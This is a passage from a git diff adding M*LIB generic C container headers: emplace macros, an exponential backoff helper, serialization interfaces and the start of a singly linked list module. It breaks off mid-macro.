+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_BOTH_C(name, name_t, function_name, key_oplist, val_oplist, macro_both, key_emp_type, val_emp_type, a, b) \
+  macro_both(name, name_t, M_C5_EMPTY(function_name, _key, M_RET_ARG1(M_ID a), _val, M_RET_ARG1(M_ID b) ), key_oplist, val_oplist, M_RET_ARG2(M_ID a), M_RET_ARG2(M_ID b), (M_TAIL_2 a), (M_TAIL_2 b) )
+
+
+/* Quick call to emplace def generation which transform into an
+  associative array emplace generation or queue generation
+  depending on the parameter isSet (= 0 or 1) */
+#define M_EMPLACE_ASS_ARRAY_OR_QUEUE_DEF(isSet, name, name_t, key_oplist, val_oplist) \
+  M_ID( M_C(M_EMPLACE_ASS_ARRAY_OR_QUEUE_DEF, isSet)(name, name_t, key_oplist, val_oplist) )
+#define M_EMPLACE_ASS_ARRAY_OR_QUEUE_DEF0(name, name_t, key_oplist, val_oplist) \
+  M_EMPLACE_ASS_ARRAY_DEF(name, name_t, _emplace, key_oplist, val_oplist, M_EMPLACE_ASS_ARRA1_BOTH_GENE, M_EMPLACE_ASS_ARRA1_KEY_GENE, M_EMPLACE_ASS_ARRA1_VAL_GENE) \
+  M_EMPLACE_QUEUE_DEF(name, name_t, _get_emplace, key_oplist, M_EMPLACE_GET_GENE)
+#define M_EMPLACE_ASS_ARRAY_OR_QUEUE_DEF1(name, name_t, key_oplist, val_oplist) \
+  M_EMPLACE_QUEUE_DEF(name, name_t, _emplace, key_oplist, M_EMPLACE_QUEUE_GENE) \
+  M_EMPLACE_QUEUE_DEF(name, name_t, _get_emplace, key_oplist, M_EMPLACE_GET_GENE)
+
+
+/* Definition of the emplace_back function for associative arrays.
+   It is defined here so that this definition is shared accross different
+   kind of associative array (RB-Tree, Hashmap, OA-Hashmap, B+Tree, ...)
+   This definition is far from being efficient but works for the current interface.
+   3 macros are needed: one when we emplace both key & value, one for key only
+   one for value only.
+*/
+#define M_EMPLACE_ASS_ARRA1_BOTH_GENE(name, name_t, function_name, key_oplist, val_oplist, key_init_func, val_init_func, key_emplace_type, val_emplace_type) \
+  M_P(void, name, function_name, name_t v                                     \
+                M_EMPLACE_LIST_TYPE_VAR(akey, key_emplace_type)               \
+                M_EMPLACE_LIST_TYPE_VAR(aval, val_emplace_type)               \
+  ){                                                                          \
+    M_F(name, _key_ct) key;                                                   \
+    M_F(name, _value_ct) val;                                                 \
+    M_EMPLACE_CALL_FUNC(akey, key_init_func, key_oplist, key, key_emplace_type); \
+    M_DEFER( M_CALL_CLEAR(key_oplist, key) ) {                                \
+      M_EMPLACE_CALL_FUNC(aval, val_init_func, val_oplist, val, val_emplace_type); \
+      M_DEFER2( M_CALL_CLEAR(val_oplist, val)) {                              \
+        M_F(name, _set_at)M_R(v, key, val);                                   \
+      }                                                                       \
+    }                                                                         \
+  }                                                                           \
+
+#define M_EMPLACE_ASS_ARRA1_KEY_GENE(name, name_t, function_name, key_oplist, val_oplist, key_init_func, val_init_func, key_emplace_type, val_emplace_type) \
+  M_P(void, name, function_name, name_t v                                     \
+                M_EMPLACE_LIST_TYPE_VAR(akey, key_emplace_type)               \
+                , M_F(name, _value_ct) const val                              \
+  ){                                                                          \
+    M_F(name, _key_ct) key;                                                   \
+    M_EMPLACE_CALL_FUNC(akey, key_init_func, key_oplist, key, key_emplace_type); \
+    M_DEFER ( M_CALL_CLEAR(key_oplist, key) ) {                               \
+      M_F(name, _set_at)M_R(v, key, val);                                     \
+    }                                                                         \
+  }                                                                           \
+
+#define M_EMPLACE_ASS_ARRA1_VAL_GENE(name, name_t, function_name, key_oplist, val_oplist, key_init_func, val_init_func, key_emplace_type, val_emplace_type) \
+  M_P(void, name, function_name, name_t v, M_F(name, _key_ct) const key       \
+                M_EMPLACE_LIST_TYPE_VAR(aval, val_emplace_type)               \
+  ){                                                                          \
+    M_F(name, _value_ct) val;                                                 \
+    M_EMPLACE_CALL_FUNC(aval, val_init_func, val_oplist, val, val_emplace_type); \
+    M_DEFER( M_CALL_CLEAR(val_oplist, val)) {                                 \
+      M_F(name, _set_at)M_R(v, key, val);                                     \
+    }                                                                         \
+  }                                                                           \
+
+/* Definition of the emplace_back function for queue.
+   It is defined here so that this definition is shared accross different
+   kind of kind of queue.
+   This definition is far from being efficient but works for the current interface.
+*/
+#define M_EMPLACE_QUEUE_GENE(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(void, name, function_name, name_t v                                     \
+                M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) )                \
+  {                                                                           \
+    M_GET_TYPE oplist data;                                                   \
+    M_EMPLACE_CALL_FUNC(a, init_func, oplist, data, exp_emplace_type);        \
+    M_DEFER( M_CALL_CLEAR(oplist, data) ) {                                   \
+      M_F(name, _push) M_R(v, data);                                          \
+    }                                                                         \
+  }
+
+/* Definition of the get_emplace function for set / map.
+   It is defined here so that this definition is shared accross different
+   kind of kind of queue.
+   This definition is far from being efficient but works for the current interface.
+*/
+#define M_EMPLACE_GET_GENE(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(M_F(name, _value_ct) *, name, function_name, name_t const v M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    M_GET_TYPE oplist data;                                                   \
+    M_EMPLACE_CALL_FUNC(a, init_func, oplist, data, exp_emplace_type);        \
+    M_F(name, _value_ct) *ret = M_F(name, _get)(v, data);                     \
+    M_CALL_CLEAR(oplist, data);                                               \
+    return ret;                                                               \
+  }
+
+
+/************************************************************/
+/******************* Exponential Backoff ********************/
+/************************************************************/
+
+/* Can be increased / decreased by user code if needed
+   to increase / decrease backoff of code */
+#ifndef M_USE_BACKOFF_MAX_COUNT
+#define M_USE_BACKOFF_MAX_COUNT 8
+#endif
+
+/* Exponential backoff object.
+ * An exponential backoff object will increase its wait time
+ * each time it is called with a pseudo random wait.
+ * It is used to avoid too many threads trying to grab some atomic
+ * variables at the same times (it makes the threads waits randomly).
+ * Initialization is cheap.
+ */
+typedef struct m_core_backoff_s {
+  unsigned int count;               // Number of times it has been run
+  unsigned int seed;                // Initial seed
+} m_core_backoff_ct[1];
+
+/* Initialize a backoff object. */
+M_INLINE void
+m_core_backoff_init(m_core_backoff_ct backoff)
+{
+  backoff->count = 0;
+  backoff->seed  = 0;
+}
+
+/* Reset the count of the backoff object */
+M_INLINE void
+m_core_backoff_reset(m_core_backoff_ct backoff)
+{
+  backoff->count = 0;
+}
+
+/* Wait a few nanoseconds using an active loop,
+ * generating a random number of nanosecond to wait,
+ * and increment the number of times wait has been called */
+M_INLINE void
+m_core_backoff_wait(m_core_backoff_ct backoff)
+{
+  if (backoff->count <= 2) {
+    backoff->count++;
+    if (backoff->count < 3) 
+      return;
+    // Use the C function rand to initialize its internal seed.
+    // It should be good enough for the purpose of the backoff.
+    // We only do it once if we already have performed several loops
+    // to avoid paying the cost of 'rand' for the small start.
+    backoff->seed  = (unsigned int) rand();
+  }
+  /* x is qualified as volatile to avoid being optimized away
+     by the compiler in the active sleep loop */
+  volatile int x = 0;
+  /* Cheap but fast pseudo random. */
+  backoff->seed = backoff->seed * 34721 + 17449;
+  const unsigned int mask = (1U << backoff->count) -1;
+  const unsigned int count = mask & (backoff->seed >> 8);
+  /* Active sleep for 'count' times */
+  for(unsigned int i = 0; i <= count; i++)
+    x = 0;
+  (void) x;
+  /* Increment count for next step if needed */
+  backoff->count += (backoff->count < M_USE_BACKOFF_MAX_COUNT);
+}
+
+/* Clear the backoff object */
+M_INLINE void
+m_core_backoff_clear(m_core_backoff_ct backoff)
+{
+  // Nothing to do
+  (void) backoff;
+}
+
+
+
+/************************************************************/
+/********************** Serialization ***********************/
+/************************************************************/
+
+/* Forward declaration of m_string_t defined in m-string.h */
+struct m_string_s;
+
+/* Serialization Return code:
+ * - OK & done (object is fully parsed),
+ * - OK & continue parsing (object is partially parsed)
+ * - Fail parsing
+ * - Fail parsing with given arguments (give explicit size) but a retry will succeed.
+ */
+typedef enum m_serial_return_code_e {
+  M_SERIAL_OK_DONE = 0, M_SERIAL_OK_CONTINUE = 1, M_SERIAL_FAIL = 2, M_SERIAL_FAIL_RETRY = 4
+} m_serial_return_code_t;
+
+#if defined(__cplusplus)
+// C++ doesn't allow mixing enum and integer, so we provided overloaded operators.
+inline void operator|(m_serial_return_code_t &a, m_serial_return_code_t b)
+{
+  a = static_cast<m_serial_return_code_t>(static_cast<int>(a) | static_cast<int>(b));
+}
+inline m_serial_return_code_t operator|=(m_serial_return_code_t a, m_serial_return_code_t b)
+{
+  return static_cast<m_serial_return_code_t>(static_cast<int>(a) | static_cast<int>(b));
+}
+inline m_serial_return_code_t operator&(m_serial_return_code_t a, m_serial_return_code_t b)
+{
+  return static_cast<m_serial_return_code_t>(static_cast<int>(a) & static_cast<int>(b));
+}
+#endif
+
+/* Maximum data size of a serializator structure
+ * Can be overloaded by user */
+#ifndef M_USE_SERIAL_MAX_DATA_SIZE
+#define M_USE_SERIAL_MAX_DATA_SIZE 4
+#endif
+
+/* Different types of types that can be stored in a serial object to represent it:
+ * a boolean
+ * different kind of integers
+ * different kind of floats
+ * a size
+ * a pointer to something.
+ * a serial return code
+ */
+typedef union m_serial_ll_u {
+  bool                   b;
+  char                   c;
+  int                    i;
+  long                   l;
+  long long              ll;
+  float                  f;
+  double                 d;
+  long double            e;
+  size_t                 s;
+  uintptr_t              u;
+  void                  *p;
+  const char            *cstr;
+  m_serial_return_code_t r;
+} m_serial_ll_ct;
+
+/* Object to handle the construction of a serial write/read of an object
+   that needs multiple calls (array, map, ...)
+   It is common to all calls to the same object.
+   It shall be used as a local state of the object being parsed */
+typedef struct m_serial_local_s {
+  m_serial_ll_ct data[M_USE_SERIAL_MAX_DATA_SIZE];
+} m_serial_local_t[1];
+
+/* Object to handle the generic serial read of an object:
+ *  - m_interface is the pointer to the constant interface object that has all callbacks
+ *  - tmp is temporary variable used localy by the non recursive serializer (not to be used by serializer)
+ *  - data is user defined data to use by the serialization object as it wants
+ * NOTE: 'interface' word cannot be used as a field name as some system headers
+ * define it as a macro.
+ * */
+typedef struct m_serial_read_s {
+  const struct m_serial_read_interface_s *m_interface;
+  m_serial_ll_ct                          tmp;
+  m_serial_ll_ct                          data[M_USE_SERIAL_MAX_DATA_SIZE];
+} m_serial_read_t[1];
+
+/* Interface that has to be exported by the serial read object.
+ * All function pointers shall be not null.
+ */
+typedef struct m_serial_read_interface_s {
+  m_serial_return_code_t (*read_boolean)(m_serial_read_t,bool *);
+  m_serial_return_code_t (*read_integer)(m_serial_read_t, long long *, const size_t size_of_type);
+  m_serial_return_code_t (*read_float)(m_serial_read_t, long double *, const size_t size_of_type);
+  m_serial_return_code_t (*read_string)(M_P_EXPAND m_serial_read_t, struct m_string_s *);
+  m_serial_return_code_t (*read_array_start)(m_serial_local_t, m_serial_read_t, size_t *);
+  m_serial_return_code_t (*read_array_next)(m_serial_local_t, m_serial_read_t);
+  m_serial_return_code_t (*read_map_start)(m_serial_local_t, m_serial_read_t, size_t *);
+  m_serial_return_code_t (*read_map_value)(m_serial_local_t, m_serial_read_t);
+  m_serial_return_code_t (*read_map_next)(m_serial_local_t, m_serial_read_t);
+  m_serial_return_code_t (*read_tuple_start)(m_serial_local_t, m_serial_read_t);
+  m_serial_return_code_t (*read_tuple_id)(m_serial_local_t, m_serial_read_t, const char *const field_name [], const int max, int *);
+  m_serial_return_code_t (*read_variant_start)(m_serial_local_t, m_serial_read_t, const char *const field_name[], const int max, int*);
+  m_serial_return_code_t (*read_variant_end)(m_serial_local_t, m_serial_read_t);
+} m_serial_read_interface_t;
+
+
+/* Object to handle the generic serial write of an object:
+ *  - m_interface is the pointer to the constant interface object that has all callbacks
+ *  - tmp is temporary variable used localy by the non recursive serializer
+ *  - data is user defined data to use by the serialization object as it wants
+ * NOTE: 'interface' word cannot be used as a field name as some system headers
+ * define it as a macro.
+ * */
+typedef struct m_serial_write_s {
+  const struct m_serial_write_interface_s *m_interface;
+  m_serial_ll_ct                           tmp;
+  m_serial_ll_ct                           data[M_USE_SERIAL_MAX_DATA_SIZE];
+} m_serial_write_t[1];
+
+/* Interface that has to be exported by the serial write object.
+ * All function pointers shall be not null.
+ */
+typedef struct m_serial_write_interface_s {
+  m_serial_return_code_t (*write_boolean)(M_P_EXPAND m_serial_write_t,const bool data);
+  m_serial_return_code_t (*write_integer)(M_P_EXPAND m_serial_write_t,const long long data, const size_t size_of_type);
+  m_serial_return_code_t (*write_float)(M_P_EXPAND m_serial_write_t, const long double data, const size_t size_of_type);
+  m_serial_return_code_t (*write_string)(M_P_EXPAND m_serial_write_t,const char data[], size_t len);
+  m_serial_return_code_t (*write_array_start)(M_P_EXPAND m_serial_local_t, m_serial_write_t, const size_t number_of_elements);
+  m_serial_return_code_t (*write_array_next)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+  m_serial_return_code_t (*write_array_end)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+  m_serial_return_code_t (*write_map_start)(M_P_EXPAND m_serial_local_t, m_serial_write_t, const size_t number_of_elements);
+  m_serial_return_code_t (*write_map_value)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+  m_serial_return_code_t (*write_map_next)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+  m_serial_return_code_t (*write_map_end)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+  m_serial_return_code_t (*write_tuple_start)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+  m_serial_return_code_t (*write_tuple_id)(M_P_EXPAND m_serial_local_t, m_serial_write_t, const char * const field_name[], const int max, const int index);
+  m_serial_return_code_t (*write_tuple_end)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+  m_serial_return_code_t (*write_variant_start)(M_P_EXPAND m_serial_local_t, m_serial_write_t, const char * const field_name[], const int max, const int index);
+  m_serial_return_code_t (*write_variant_end)(M_P_EXPAND m_serial_local_t, m_serial_write_t);
+} m_serial_write_interface_t;
+
+
+/* Convert a C default variale (bool, integer, float) to a Serialized data
+ * by calling the serializer interface associated to the type of the object.
+ * NOTE: Supports only C11.
+*/
+#define M_OUT_SERIAL_DEFAULT_ARG(serial, x)                                   \
+  _Generic(((void)0,(x)),                                                     \
+           bool: (serial)->m_interface->write_boolean M_R(serial, M_AS_TYPE(bool, (x))), \
+           char: (serial)->m_interface->write_integer M_R(serial, M_AS_TYPE(char,(x)), sizeof (x)), \
+           signed char: (serial)->m_interface->write_integer M_R(serial, M_AS_TYPE(signed char,(x)), sizeof (x)), \
+           unsigned char: (serial)->m_interface->write_integer M_R(serial, (long long) M_AS_TYPE(unsigned char,(x)), sizeof (x)), \
+           signed short: (serial)->m_interface->write_integer M_R(serial, M_AS_TYPE(signed short,(x)), sizeof (x)), \
+           unsigned short: (serial)->m_interface->write_integer M_R(serial, (long long) M_AS_TYPE(unsigned short,(x)), sizeof (x)), \
+           signed int: (serial)->m_interface->write_integer M_R(serial, M_AS_TYPE(signed int,(x)), sizeof (x)), \
+           unsigned int: (serial)->m_interface->write_integer M_R(serial, (long long) M_AS_TYPE(unsigned int,(x)), sizeof (x)), \
+           long int: (serial)->m_interface->write_integer M_R(serial, M_AS_TYPE(long,(x)), sizeof (x)), \
+           unsigned long int: (serial)->m_interface->write_integer M_R(serial, (long long) M_AS_TYPE(unsigned long,(x)), sizeof (x)), \
+           long long int: (serial)->m_interface->write_integer M_R(serial, M_AS_TYPE(long long,(x)), sizeof (x)), \
+           unsigned long long int: (serial)->m_interface->write_integer M_R(serial, (long long) M_AS_TYPE(unsigned long long,(x)), sizeof (x)), \
+           float: (serial)->m_interface->write_float M_R(serial, M_AS_TYPE(float,(x)), sizeof (x)), \
+           double: (serial)->m_interface->write_float M_R(serial, M_AS_TYPE(double,(x)), sizeof (x)), \
+           long double: (serial)->m_interface->write_float M_R(serial, M_AS_TYPE(long double,(x)), sizeof (x)), \
+           const char *: (serial)->m_interface->write_string M_R(serial, M_AS_TYPE(const char *,(x)), m_core_out_serial_strlen(M_AS_TYPE(const char *,(x))) ), \
+           char *: (serial)->m_interface->write_string M_R(serial, M_AS_TYPE(char *,(x)), m_core_out_serial_strlen(M_AS_TYPE(const char *,(x))) ), \
+           const void *: M_SERIAL_FAIL /* unsupported */,                     \
+           void *: M_SERIAL_FAIL /* unsupported */)
+
+/* Convert a Serialized data to a C default variale (bool, integer, float)
+ * by calling the serializer interface associated to the type of the object.
+ * NOTE: Supports only C11.
+*/
+#define M_IN_SERIAL_DEFAULT_ARG(xptr, serial)                                 \
+  _Generic(((void)0,*(xptr)),                                                 \
+           bool: (serial)->m_interface->read_boolean(serial, M_AS_TYPE(bool *, xptr)), \
+           char: m_core_in_serial_char(serial, M_AS_TYPE(char*,xptr)),        \
+           signed char: m_core_in_serial_schar(serial, M_AS_TYPE(signed char*,xptr)), \
+           unsigned char: m_core_in_serial_uchar(serial, M_AS_TYPE(unsigned char*,xptr)), \
+           signed short: m_core_in_serial_sshort(serial, M_AS_TYPE(signed short*,xptr)), \
+           unsigned short: m_core_in_serial_ushort(serial, M_AS_TYPE(unsigned short*,xptr)), \
+           signed int: m_core_in_serial_sint(serial, M_AS_TYPE(signed int*,xptr)), \
+           unsigned int: m_core_in_serial_uint(serial, M_AS_TYPE(unsigned int*,xptr)), \
+           long int: m_core_in_serial_slong(serial, M_AS_TYPE(long*,xptr)),   \
+           unsigned long int: m_core_in_serial_ulong(serial, M_AS_TYPE(unsigned long*,xptr)), \
+           long long int: m_core_in_serial_sllong(serial, M_AS_TYPE(long long*,xptr)), \
+           unsigned long long int: m_core_in_serial_ullong(serial, M_AS_TYPE(unsigned long long*,xptr)), \
+           float: m_core_in_serial_float(serial, M_AS_TYPE(float*,xptr)),     \
+           double: m_core_in_serial_double(serial, M_AS_TYPE(double*,xptr)),  \
+           long double: m_core_in_serial_ldouble(serial, M_AS_TYPE(long double*,xptr)), \
+           const char *: M_SERIAL_FAIL /* unsupported (size unknown) */,      \
+           char *: M_SERIAL_FAIL /* unsupported  (size unknown) */,           \
+           const void *: M_SERIAL_FAIL /* unsupported */,                     \
+           void *: M_SERIAL_FAIL /* unsupported */)
+
+/* Helper functions for M_IN_SERIAL_DEFAULT_ARG
+   as we need to define a function per supported type in the generic expression */
+#define M_IN_SERIAL_DEFAULT_TYPE_DEF(name, type, func, promoted_type)         \
+  M_INLINE m_serial_return_code_t                                             \
+  name (m_serial_read_t serial, type *ptr)                                    \
+  {                                                                           \
+    promoted_type i;                                                          \
+    m_serial_return_code_t r;                                                 \
+    r = serial->m_interface->func(serial, &i, sizeof (type));                 \
+    *ptr = (type) i;                                                          \
+    return r;                                                                 \
+  }
+
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_char, char, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_schar, signed char, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_uchar, unsigned char, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_sshort, signed short, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_ushort, unsigned short, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_sint, signed int, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_uint, unsigned int, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_slong, signed long, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_ulong, unsigned long, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_sllong, signed long long, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_ullong, unsigned long long, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_float, float, read_float, long double)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_double, double, read_float, long double)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_ldouble, long double, read_float, long double)
+
+/* Helper function for M_ENUM_IN_SERIAL */
+M_INLINE long long
+m_core_in_serial_enum(m_serial_read_t serial)
+{
+  long long i;
+  /* Store the return code temporary in the serialize object */
+  serial->tmp.r = serial->m_interface->read_integer(serial, &i, sizeof (long long));
+  return i;
+}
+
+/* Encapsulation of strlen to avoid warnings in M_OUT_SERIAL_DEFAULT_ARG
+ * because of expanded code will call strlen with NULL (which is illegal)
+ * However, the branch where it is called is unreachable, so the warning
+ * is not justified. */
+M_INLINE size_t
+m_core_out_serial_strlen(const char s[])
+{
+  M_ASSERT(s != NULL);
+  return strlen(s);
+}
+
+/* Encapsulation of returning error,
+ * A serializer should return 'm_core_serial_fail()' instead of directly
+ * M_SERIAL_FAIL 
+ * so that a breakpoint can be put on this function for debugging purpose.
+ */
+M_INLINE m_serial_return_code_t
+m_core_serial_fail(void)
+{
+  return M_SERIAL_FAIL;
+}
+
+M_END_PROTECTED_CODE
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/m-list.h b/lib/subghz_unleashed_compat/include/m-list.h
new file mode 100644
index 000000000..a8284ff4c
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/m-list.h
@@ -0,0 +1,1618 @@
+/*
+ * M*LIB - LIST module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_LIST_H
+#define MSTARLIB_LIST_H
+
+#include "m-core.h"
+
+/* Define a singly linked list of a given type.
+   USAGE: LIST_DEF(name, type [, oplist_of_the_type]) */
+#define M_LIST_DEF(name, ...)                                                 \
+  M_LIST_DEF_AS(name, M_F(name, _t), M_F(name, _it_t), __VA_ARGS__)
+
+
+/* Define a singly linked list of a given type
+   as the provided type name_t with the iterator named it_t
+   USAGE: LIST_DEF_AS(name, name_t, it_t, type [, oplist_of_the_type]) */
+#define M_LIST_DEF_AS(name, name_t, it_t, ...)                                \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_L1ST_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                   \
+               ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t ), \
+                (name, __VA_ARGS__,                                        name_t, it_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define a singly linked list of a given type allowing both push (BI) and one pop (Back)
+   USAGE: LIST_DUALB_DEF(name, type [, oplist_of_the_type]) */
+#define M_LIST_DUALB_DEF(name, ...)                                           \
+  M_LIST_DUALB_DEF_AS(name, M_F(name,_t), M_F(name, _it_t), __VA_ARGS__)
+
+
+/* Define a singly linked list of a given type allowing both push (BI) and one pop (Back)
+   as the provided type name_t with the iterator named it_t
+   USAGE: LIST_DUALB_DEF_AS(name, name_t, type [, oplist_of_the_type]) */
+#define M_LIST_DUALB_DEF_AS(name, name_t, it_t, ...)                          \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_L1ST_DUAL_PUSH_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                         \
+                         ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t ), \
+                          (name, __VA_ARGS__,                                        name_t, it_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define a singly linked list of a given type allowing both push (BI) and one pop (Front)
+   USAGE: LIST_DUALF_DEF(name, type [, oplist_of_the_type]) */
+#define M_LIST_DUALF_DEF(name, ...)                                           \
+  M_LIST_DUALF_DEF_AS(name, M_F(name,_t), M_F(name, _it_t), __VA_ARGS__)
+
+
+/* Define a singly linked list of a given type allowing both push (BI) and one pop (Front)
+   as the provided type name_t with the iterator named it_t
+   USAGE: LIST_DUALF_DEF_AS(name, name_t, type [, oplist_of_the_type]) */
+#define M_LIST_DUALF_DEF_AS(name, name_t, it_t, ...)                          \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_L1ST_DUALF_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                             \
+                         ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t ), \
+                          (name, __VA_ARGS__,                                        name_t, it_t ))) \
+  M_END_PROTECTED_CODE
+
+/* Define the oplist of a list of the given type.
+   USAGE: LIST_OPLIST(name [, oplist_of_the_type]) */
+#define M_LIST_OPLIST(...)                                                    \
+  M_L1ST_OPLIST_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                \
+                  ((__VA_ARGS__, M_BASIC_OPLIST ),                            \
+                   (__VA_ARGS__ )))
+
+/* Define the oplist of a list of the given type.
+   USAGE: LIST_DUALF_OPLIST(name [, oplist_of_the_type]) */
+#define M_LIST_DUALF_OPLIST(...) M_OPEXTEND(M_LIST_OPLIST(__VA_ARGS__), REVERSE(0), SPLICE_BACK(0))
+
+/* Define an init value to init global variables of type list.
+  USAGE:
+    list_t global_variable = LIST_INIT_VALUE();
+ */
+#define M_LIST_INIT_VALUE()                                                   \
+  { NULL }
+
+
+/* Define an init value to init global variables of type dual push list (Both BIB and BIF)
+  USAGE:
+    list_t global_variable = LIST_DUAL_PUSH_INIT_VALUE();
+ */
+#define M_LIST_DUAL_PUSH_INIT_VALUE()                                         \
+  { { NULL, NULL } }
+
+
+/********************************** INTERNAL ************************************/
+
+//TODO: Provide an update scheme for mempool using new memory allocator context.
+
+/* Deferred evaluation for the oplist definition,
+   so that all arguments are evaluated before further expansion */
+#define M_L1ST_OPLIST_P1(arg) M_L1ST_OPLIST_P2 arg
+
+/* Validation of the given oplist */
+#define M_L1ST_OPLIST_P2(name, oplist)                                        \
+  M_IF_OPLIST(oplist)(M_L1ST_OPLIST_P3, M_L1ST_OPLIST_FAILURE)(name, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_L1ST_OPLIST_FAILURE(name, oplist)                                   \
+  ((M_LIB_ERROR(ARGUMENT_OF_LIST_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* OPLIST definition of a list and list_dual_push */
+#ifndef M_USE_CONTEXT
+#define M_L1ST_OPLIST_P3(name, oplist)                                        \
+  (INIT(M_F(name, _init)),                                                    \
+   INIT_SET(M_F(name, _init_set)),                                            \
+   INIT_WITH(API_1(M_INIT_WITH_VAI)),                                         \
+   SET(M_F(name, _set)),                                                      \
+   CLEAR(M_F(name, _clear)),                                                  \
+   MOVE(M_F(name, _move)),                                                    \
+   INIT_MOVE(M_F(name, _init_move)),                                          \
+   SWAP(M_F(name, _swap)),                                                    \
+   NAME(name),                                                                \
+   TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)**),                       \
+   SUBTYPE(M_F(name,_subtype_ct)),                                            \
+   EMPTY_P(M_F(name,_empty_p)),                                               \
+   IT_TYPE(M_F(name, _it_ct)),                                                \
+   IT_FIRST(M_F(name,_it)),                                                   \
+   IT_END(M_F(name,_it_end)),                                                 \
+   IT_SET(M_F(name,_it_set)),                                                 \
+   IT_END_P(M_F(name,_end_p)),                                                \
+   IT_EQUAL_P(M_F(name,_it_equal_p)),                                         \
+   IT_LAST_P(M_F(name,_last_p)),                                              \
+   IT_NEXT(M_F(name,_next)),                                                  \
+   IT_REF(M_F(name,_ref)),                                                    \
+   IT_CREF(M_F(name,_cref)),                                                  \
+   IT_INSERT(M_F(name, _insert)),                                             \
+   IT_REMOVE(M_F(name,_remove)),                                              \
+   RESET(M_F(name,_reset)),                                                   \
+   PUSH(M_F(name,_push)),                                                     \
+   POP(M_F(name,_pop)),                                                       \
+   PUSH_MOVE(M_F(name,_push_move)),                                           \
+   POP_MOVE(M_F(name,_pop_move))                                              \
+   ,SPLICE_BACK(M_F(name,_splice_back))                                       \
+   ,SPLICE_AT(M_F(name,_splice_at))                                           \
+   ,REVERSE(M_F(name,_reverse))                                               \
+   ,OPLIST(oplist)                                                            \
+   ,M_IF_METHOD(GET_STR, oplist)(GET_STR(M_F(name, _get_str)),)               \
+   ,M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),)               \
+   ,M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(M_F(name, _parse_str)),)         \
+   ,M_IF_METHOD(IN_STR, oplist)(IN_STR(M_F(name, _in_str)),)                  \
